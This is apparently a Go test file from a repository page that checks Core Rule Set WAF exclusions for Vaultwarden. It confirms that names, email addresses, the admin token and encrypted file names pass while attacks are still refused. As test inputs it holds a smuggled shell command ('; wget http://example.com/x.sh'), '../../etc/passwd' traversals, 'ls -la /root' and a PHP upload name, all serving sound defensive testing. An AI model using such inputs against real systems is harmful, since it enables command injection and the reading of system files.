check / check (push) Failing after 2m44s
Each app's sign-in, sign-up, password change and reset fields that had no exclusion now skip the 35 rules random passwords set off, on that app's paths and only when the query has no field of that name. Added gitea, Vaultwarden's admin token, WordPress pass1/pass2/post_password and its REST password, Drupal's forms and JSON, MediaWiki retype and password on the pages that take them, Mastodon's challenge, and Nextcloud's confirm, reset, change, share, LDAP renewal, encryption and OCS fields. Vaultwarden's clients send a hash, which needs no exclusion. Model: opus-5-5
386 lines
13 KiB
Go
386 lines
13 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"encoding/base64"
|
|
"encoding/json"
|
|
"math/rand/v2"
|
|
"net/http"
|
|
"net/url"
|
|
"slices"
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
|
const vaultwardenThreshold = 5
|
|
|
|
// Paths of Vaultwarden's API and admin page.
|
|
const (
|
|
vaultwardenOrganization = "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b"
|
|
vaultwardenCipher = "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d"
|
|
vaultwardenSignUp = "/identity/accounts/register/send-verification-email"
|
|
vaultwardenFinishSignUp = "/identity/accounts/register/finish"
|
|
vaultwardenPassword = "/api/accounts/password"
|
|
vaultwardenProfile = "/api/accounts/profile"
|
|
vaultwardenSettings = "/admin/config"
|
|
vaultwardenSecurityKey = "/api/two-factor/webauthn"
|
|
)
|
|
|
|
// vaultwardenEmail is a JSON body that sends an address in email.
|
|
const vaultwardenEmail = `{"email":"VALUE"}`
|
|
|
|
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
|
// request that sends it, and its body, with VALUE where the field's value
|
|
// goes.
|
|
type vaultwardenField struct {
|
|
method, target, contentType, body string
|
|
}
|
|
|
|
// with returns f's body holding value, escaped as f's kind of body escapes
|
|
// it.
|
|
func (f vaultwardenField) with(t *testing.T, value string) string {
|
|
t.Helper()
|
|
|
|
escaped := url.QueryEscape(value)
|
|
|
|
if f.contentType == jsonBody {
|
|
quoted, err := json.Marshal(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
escaped = strings.Trim(string(quoted), `"`)
|
|
}
|
|
|
|
return strings.ReplaceAll(f.body, "VALUE", escaped)
|
|
}
|
|
|
|
// vaultwardenNameFields hold every field that skips 930120, 932120, 932250
|
|
// and 932260: the names and the password hints.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenNameFields = []vaultwardenField{
|
|
{
|
|
http.MethodPost, vaultwardenSignUp, jsonBody,
|
|
`{"email":"alice@example.com","name":"VALUE"}`,
|
|
},
|
|
{
|
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
|
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
|
|
},
|
|
{http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
|
|
{http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
|
|
{
|
|
http.MethodPost, "/api/organizations", jsonBody,
|
|
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
|
|
},
|
|
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
|
{http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
|
}
|
|
|
|
// vaultwardenAddressFields hold every field of a body that skips 930120,
|
|
// 932120 and 932260: the email addresses.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenAddressFields = []vaultwardenField{
|
|
{
|
|
http.MethodPost, "/identity/connect/token", formData,
|
|
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
|
|
},
|
|
{http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
|
|
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
|
|
{
|
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
|
`{"masterPasswordAuthentication":{"salt":"VALUE"}}`,
|
|
},
|
|
{
|
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
|
`{"masterPasswordUnlock":{"salt":"VALUE"}}`,
|
|
},
|
|
{
|
|
http.MethodPost, vaultwardenPassword, jsonBody,
|
|
`{"authenticationData":{"salt":"VALUE"}}`,
|
|
},
|
|
{http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
|
|
{
|
|
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
|
|
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
|
|
},
|
|
{http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
|
|
{
|
|
http.MethodPost, "/api/emergency-access/invite", jsonBody,
|
|
`{"email":"VALUE","type":0}`,
|
|
},
|
|
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
|
|
{
|
|
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
|
|
`{"emails":["alice@example.com","VALUE"],"type":2}`,
|
|
},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
|
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
|
|
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
|
|
{http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
|
|
{
|
|
http.MethodPut, "/api/two-factor/email", jsonBody,
|
|
`{"email":"VALUE","token":"123456"}`,
|
|
},
|
|
{http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
|
|
}
|
|
|
|
// vaultwardenBreachReport is the data breach report, which sends an address
|
|
// in the query, ending in "=".
|
|
const vaultwardenBreachReport = "/api/hibp/breach?username="
|
|
|
|
// vaultwardenAddresses are the addresses 930120, 932120 and 932260 refused.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenAddresses = []string{
|
|
"jane.profile@example.com",
|
|
"python3.dev@example.com",
|
|
"powershell@example.com",
|
|
}
|
|
|
|
// wantVaultwardenField checks that the Core Rule Set, reading bodies,
|
|
// refuses f holding value, or lets it through.
|
|
func wantVaultwardenField(
|
|
t *testing.T, f vaultwardenField, value string, refused bool,
|
|
) {
|
|
t.Helper()
|
|
|
|
r := request{f.method, f.target, []string{f.contentType}}
|
|
body := f.with(t, value)
|
|
|
|
got, _ := inspectBody(t, readingBodies(t), r, body)
|
|
if refused && got.Score < vaultwardenThreshold {
|
|
t.Errorf("%s %s %s let through: %+v", f.method, f.target, body, got)
|
|
}
|
|
|
|
if !refused && got.Score >= vaultwardenThreshold {
|
|
t.Errorf("%s %s %s refused: %+v", f.method, f.target, body, got)
|
|
}
|
|
}
|
|
|
|
func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, encoded := range hardValues {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
|
|
for _, f := range vaultwardenNameFields {
|
|
wantVaultwardenField(t, f, value, false)
|
|
}
|
|
}
|
|
|
|
for _, value := range vaultwardenAddresses {
|
|
for _, f := range vaultwardenAddressFields {
|
|
wantVaultwardenField(t, f, value, false)
|
|
}
|
|
|
|
target := vaultwardenBreachReport + url.QueryEscape(value)
|
|
if got := inspect(t, atDefaults(t), get(target)); got.Score >= vaultwardenThreshold {
|
|
t.Errorf("%s refused: %+v", target, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// vaultwardenAttacks are an SQL injection, a script injection, a shell
|
|
// command and a path traversal.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var vaultwardenAttacks = []string{
|
|
injection,
|
|
scriptTag,
|
|
"; wget http://example.com/x.sh",
|
|
"../../etc/passwd",
|
|
}
|
|
|
|
func TestVaultwardenAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, attack := range vaultwardenAttacks {
|
|
for _, f := range slices.Concat(vaultwardenNameFields, vaultwardenAddressFields) {
|
|
wantVaultwardenField(t, f, attack, true)
|
|
}
|
|
|
|
target := vaultwardenBreachReport + url.QueryEscape(attack)
|
|
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
// An address keeps 932250, which refuses a listing of files.
|
|
for _, f := range vaultwardenAddressFields {
|
|
wantVaultwardenField(t, f, "ls -la /root", true)
|
|
}
|
|
}
|
|
|
|
func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// A name keeps the rules on vault items and folders, whose names are
|
|
// encrypted, on two-factor paths other than security keys', off
|
|
// Vaultwarden's paths, and when the query has a field of the same name.
|
|
for _, target := range []string{
|
|
"/api/ciphers",
|
|
"/api/folders",
|
|
"/x" + vaultwardenProfile,
|
|
"/identity/other",
|
|
"/api/two-factor/authenticator",
|
|
vaultwardenProfile + "?json.name=python3",
|
|
} {
|
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
|
body := `{"name":"python3"}`
|
|
|
|
if got, _ := inspectBody(t, crs, r, body); got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", target, body, got)
|
|
}
|
|
}
|
|
|
|
for _, refused := range []struct{ target, body string }{
|
|
{"/admin/other", `{"invitation_org_name":"python3"}`},
|
|
{vaultwardenProfile, `{"culture":"python3"}`},
|
|
{"/api/accounts/password-hint?json.email=python3", `{"email":"python3"}`},
|
|
} {
|
|
r := request{http.MethodPost, refused.target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, refused.body)
|
|
if got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPost, "/identity/other", []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, "username=python3")
|
|
if got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s username=python3 let through: %+v", r.target, got)
|
|
}
|
|
|
|
target := "/api/hibp/other?username=python3"
|
|
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
// vaultwardenUpload returns a multipart body that uploads a file named name.
|
|
func vaultwardenUpload(name string) string {
|
|
return "--b\r\nContent-Disposition: form-data; name=\"data\"; filename=\"" + name +
|
|
"\"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n" + end
|
|
}
|
|
|
|
func TestVaultwardenAdminTokenPasses(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
wantPasswordFieldsPass(t, []passwordFields{
|
|
{"/admin", formData, []string{"token"}},
|
|
})
|
|
}
|
|
|
|
// masterPasswordHashes returns count random 32-byte hashes in base64, the
|
|
// form in which the apps send a master password.
|
|
func masterPasswordHashes(count int) []string {
|
|
const size, seed = 32, 288
|
|
|
|
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
|
|
|
|
hashes := make([]string, count)
|
|
|
|
for i := range hashes {
|
|
hash := make([]byte, size)
|
|
for j := range hash {
|
|
hash[j] = byte(random.IntN(1 << 8)) //nolint:gosec // below 256
|
|
}
|
|
|
|
hashes[i] = base64.StdEncoding.EncodeToString(hash)
|
|
}
|
|
|
|
return hashes
|
|
}
|
|
|
|
// The apps hash the master password before they send it, so these fields
|
|
// hold only base64 and set off no rule, with no exclusion.
|
|
func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const perBody = 20
|
|
|
|
crs := readingBodies(t)
|
|
hashes := masterPasswordHashes(perBody)
|
|
|
|
for _, sent := range []struct {
|
|
r request
|
|
names []string
|
|
}{
|
|
{
|
|
request{http.MethodPost, "/identity/connect/token", []string{formData}},
|
|
[]string{passwordKey},
|
|
},
|
|
{
|
|
request{http.MethodPost, vaultwardenPassword, []string{jsonBody}},
|
|
[]string{"masterPasswordHash", "newMasterPasswordHash"},
|
|
},
|
|
{
|
|
request{http.MethodPost, "/api/accounts/delete", []string{jsonBody}},
|
|
[]string{"masterPasswordHash"},
|
|
},
|
|
} {
|
|
body := passwordBody(t, sent.r, sent.names, hashes...)
|
|
if len(body) > bodyLimit {
|
|
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
|
}
|
|
|
|
if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
|
|
t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
|
|
|
|
for _, target := range []string{
|
|
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
|
|
vaultwardenCipher + "/attachment",
|
|
vaultwardenCipher + "/attachment-admin",
|
|
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a/share",
|
|
"/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/file/5a087a52eaa5796",
|
|
} {
|
|
r := request{http.MethodPost, target, []string{multipart}}
|
|
|
|
if got, _ := inspectBody(t, crs, r, encrypted); got.Score >= vaultwardenThreshold {
|
|
t.Errorf("POST %s refused: %+v", target, got)
|
|
}
|
|
|
|
// The names of uploaded files keep the other rules: a path
|
|
// traversal and a PHP script are still refused.
|
|
for _, name := range []string{"../../etc/passwd", "x.php"} {
|
|
got, _ := inspectBody(t, crs, r, vaultwardenUpload(name))
|
|
if got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", target, name, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, target := range []string{"/upload", vaultwardenCipher + "/other"} {
|
|
r := request{http.MethodPost, target, []string{multipart}}
|
|
|
|
if got, _ := inspectBody(t, crs, r, encrypted); got.Score < vaultwardenThreshold {
|
|
t.Errorf("POST %s let through: %+v", target, got)
|
|
}
|
|
}
|
|
}
|